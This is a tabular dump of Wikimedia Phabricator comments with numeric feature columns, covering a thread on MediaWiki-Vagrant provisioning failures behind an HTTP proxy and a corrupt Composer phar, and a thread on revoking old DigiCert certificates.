399680,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Do you think it's worth it to tighten up the verification of the downloaded composer phar? In other words, change `creates => ""/usr/local/bin/composer""` to something like `unless => ""php5 -r '<try to load the phar>'""`.",,,1421263615,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,21.0,7.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.068965517241379,0.8620689655172413,"Do you think it's worth it to tighten up the verification of the downloaded composer phar? In other words, change CODE to something like CODE."
399677,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Yeah, Whats your take ? Lets make one. Just give me few instructions, i want to try out.",,,1421263561,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,13.0,9.0,0.0,4.0,0.0,0.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0869565217391304,0.9130434782608695,"Yeah, Whats your take ? Lets make one. Just give me few instructions, i want to try out."
399676,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"As I mentioned on irc, ""we"" should probably add an FAQ about the HTTP proxy problem. This seems to come up once every couple of months generally from someone on a school network.",,,1421263473,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,21.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,21.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,0.9210526315789473,"As I mentioned on irc, ""we"" should probably add an FAQ about the HTTP proxy problem. This seems to come up once every couple of months generally from someone on a school network."
399674,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Thanks a lot ! Finally,Done ! I owe you . Thanks Bryan !",,,1421263250,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,40.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.8,"Thanks a lot ! Finally,Done ! I owe you . Thanks Bryan !"
399661,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T86787#976723, @Kabhi2104 wrote:
> {F28624}  Ran `vagrant provision` and here is the output ! Few lines with Errors and Warnings.

```
Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: Fatal error: Uncaught exception 'PharException' with message 'phar has a broken signature' in :
Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: Stack trace:
Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #0 (): Phar->parsePhar()
Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #1 (): Phar->__construct()
Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #2 /usr/local/bin/composer(23): Phar::mapPhar()
Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #3 {main}
Error: composer install --optimize-autoloader returned 255 instead of one of [0]
```

It looks like the /usr/local/bin/composer file is corrupt ('phar has a broken signature' ). This in turn kept /vagrant/mediawiki/vendor from getting the expected external php libraries. I would try to fix it with:

`vagrant ssh -- sudo rm /usr/local/bin/composer; vagrant provision; vagrant git-update`

This will ssh into the vm and remove the corrupt file, run Puppet again (which should re-download the composer binary) and finally update all of your local git checkouts which has a side effect of triggering a Composer install to ensure that the /vagrant/mediawiki/vendor directory is up to date.",,,1421261775,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,1.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,17.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,7.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,9.0,11.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,4.0344827586206895,0.7241379310344828,"QUOTE
QUOTE

``CODE`CODEvagrant ssh -- sudo rm /usr/local/bin/composer; vagrant provision; vagrant git-update`

This will ssh into the vm and remove the corrupt file, run Puppet again (which should re-download the composer binary) and finally update all of your local git checkouts which has a side effect of triggering a Composer install to ensure that the /vagrant/mediawiki/vendor directory is up to date."
399657,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,{F28624}  Ran `vagrant provision` and here is the output ! Few lines with Errors and Warnings.,,,1421261346,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,32.0,0.0,11.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.9473684210526315,{F28624}  Ran CODE and here is the output ! Few lines with Errors and Warnings.
399656,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"{F28624}  Ran 
```
vagrant provision
``` and here is the output ! Few lines with Errors and Warnings.",,,1421261309,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,0.8333333333333334,"{F28624}  Ran 
``CODE`` and here is the output ! Few lines with Errors and Warnings."
399655,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,{F28624}  Ran <code>vagrant provision</code> and here is the output ! Few lines with Errors and Warnings.,,,1421261280,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.75,0.9166666666666666,{F28624}  Ran <code>vagrant provision</code> and here is the output ! Few lines with Errors and Warnings.
399654,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,{F28624}  Ran vagrant provision and here is the output ! Few lines with Errors and Warnings.,,,1421261163,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,25.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,0.95,{F28624}  Ran vagrant provision and here is the output ! Few lines with Errors and Warnings.
399653,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,`vagrant up` will only run the Puppet provisioning code on the initial VM creation. Using `vagrant provision` (or adding the `--provision` flag to `vagrant up`) will force a Puppet run on an existing VM.,,,1421260978,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,26.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,3.8,0.6857142857142857,CODE will only run the Puppet provisioning code on the initial VM creation. Using CODE (or adding the CODE flag to CODE) will force a Puppet run on an existing VM.
399638,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Some ports which uses proxy are blocked on my college network. For now i changed it to my phone hotspot and tried **vagrant up** . It says:
**Bringing machine 'default' up with 'virtualbox' provider...
[default] VirtualBox VM is already running.**

On surfing 127.0.0.1:8080 i get this http://imgur.com/g1NJObc which was not expected.",,,1421260137,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,11.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,4.0,0.0,5.0,0.0,8.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,1.0,3.643835616438356,0.7397260273972602,"Some ports which uses proxy are blocked on my college network. For now i changed it to my phone hotspot and tried **vagrant up** . It says:
**Bringing machine 'default' up with 'virtualbox' provider...
[default] VirtualBox VM is already running.**

On surfing 127.0.0.1:8080 i get this URL which was not expected."
399637,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Some ports which uses proxy are blocked on my college network. For now i changed it to my phone hotspot and tried **vagrant up** . It says:
**Bringing machine 'default' up with 'virtualbox' provider...
[default] VirtualBox VM is already running.
**
On surfing 127.0.0.1:8080 i get this http://imgur.com/g1NJObc which was not expected.",,,1421260097,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,11.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,4.0,0.0,5.0,0.0,8.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,1.0,3.5945945945945947,0.7162162162162162,"Some ports which uses proxy are blocked on my college network. For now i changed it to my phone hotspot and tried **vagrant up** . It says:
**Bringing machine 'default' up with 'virtualbox' provider...
[default] VirtualBox VM is already running.
**
On surfing 127.0.0.1:8080 i get this URL which was not expected."
399613,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,Some additional help on installing and configuring vagrant-proxyconf at http://stackoverflow.com/questions/19872591/how-to-use-vagrant-in-a-proxy-enviroment,,,1421258517,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.5,1.0,Some additional help on installing and configuring vagrant-proxyconf at URL
399607,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"
Important error messages from that log:
```
E: Failed to fetch http://apt.wikimedia.org/wikimedia/pool/main/j/jemalloc/libjemalloc1_3.5.1-2+wm1_amd64.deb Connection failed [IP: 208.80.154.10 80]

E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/a/apr/libapr1_1.5.0-1_amd64.deb Connection failed [IP: 91.189.91.23 80]

E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/n/nettle/libnettle4_2.7.1-1_amd64.deb Connection failed [IP: 91.189.88.149 80]

E: Failed to fetch http://apt.wikimedia.org/wikimedia/pool/main/h/hhvm/hhvm-dev_3.3.1+dfsg1-1+wm2_amd64.deb Connection failed [IP: 208.80.154.10 80]
```

So my random guess about apt-get failures was correct. Your virtual machine is failing to contact both the WMF apt server (apt.wikimedia.org) and the main Ubuntu apt server (archive.ubuntu.com). These failures are keeping HHVM from being properly installed which causes Puppet to mark most everything else as failing due to missing dependencies.

@Kabhi2104 is your laptop running on a network that needs to use an HTTP proxy to reach the internet? If so you probably need to install [[https://github.com/tmatilai/vagrant-proxyconf|vagrant-proxyconf]] plugin and configure it in a local `Vagrantfile-extra.rb` configuration file so that Vagrant will tell the virtual machine how to contact the internet.",,,1421257949,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.741935483870968,0.8387096774193549,"
Important error messages from that log:
``CODE`CODEVagrantfile-extra.rb` configuration file so that Vagrant will tell the virtual machine how to contact the internet."
86689,revoke old digicert certificates,"As we have migrated to the new globalsign certificates for the main wiki-cluster, we need to revoke the exisiting digicert certs.",Medium,50.0,1421176749,1424722008.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_description,resolved,True,c3,1,True,True,True,-25,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,16.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.36,0.84,"As we have migrated to the new globalsign certificates for the main wiki-cluster, we need to revoke the exisiting digicert certs."
416010,revoke old digicert certificates,"All of these were revoked awhile back, and I neglected to resolve this task.",,,1424722008,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,True,,,-19,True,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,"All of these were revoked awhile back, and I neglected to resolve this task."
399215,revoke old digicert certificates,"chatted with brandon about this earlier today (thanks for linking patchsets!)

I've begun to revoke the certs, so dns-admin@wikimedia.org will be getting spammed.",,,1421190001,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,4.7,1.0,"chatted with brandon about this earlier today (thanks for linking patchsets!)

I've begun to revoke the certs, so dns-admin@wikimedia.org will be getting spammed."
399101,revoke old digicert certificates,"Change 184711 merged by BBlack:
remove pubkey files for old GlobalSign certs T86689

[[https://gerrit.wikimedia.org/r/184711]]",,,1421177359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.9047619047619048,"Change 184711 merged by BBlack:
remove pubkey files for old GlobalSign certs T86689

[[GERRIT_URL]]"
399099,revoke old digicert certificates,"Change 184709 merged by BBlack:
remove old unified cert ref from certs.pp T86689

[[https://gerrit.wikimedia.org/r/184709]]",,,1421177300,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0476190476190474,0.9047619047619048,"Change 184709 merged by BBlack:
remove old unified cert ref from certs.pp T86689

[[GERRIT_URL]]"
399094,revoke old digicert certificates,"Change 184711 had a related patch set uploaded (by BBlack):
remove pubkey files for old GlobalSign certs T86689

[[https://gerrit.wikimedia.org/r/184711]]

#patch-for-review",,,1421177243,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.823529411764706,0.8235294117647058,"Change 184711 had a related patch set uploaded (by BBlack):
remove pubkey files for old GlobalSign certs T86689

[[GERRIT_URL]]

#patch-for-review"
399090,revoke old digicert certificates,"Change 184709 had a related patch set uploaded (by BBlack):
remove old unified cert ref from certs.pp T86689

[[https://gerrit.wikimedia.org/r/184709]]

#patch-for-review",,,1421177056,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.735294117647059,0.8529411764705882,"Change 184709 had a related patch set uploaded (by BBlack):
remove old unified cert ref from certs.pp T86689

[[GERRIT_URL]]

#patch-for-review"
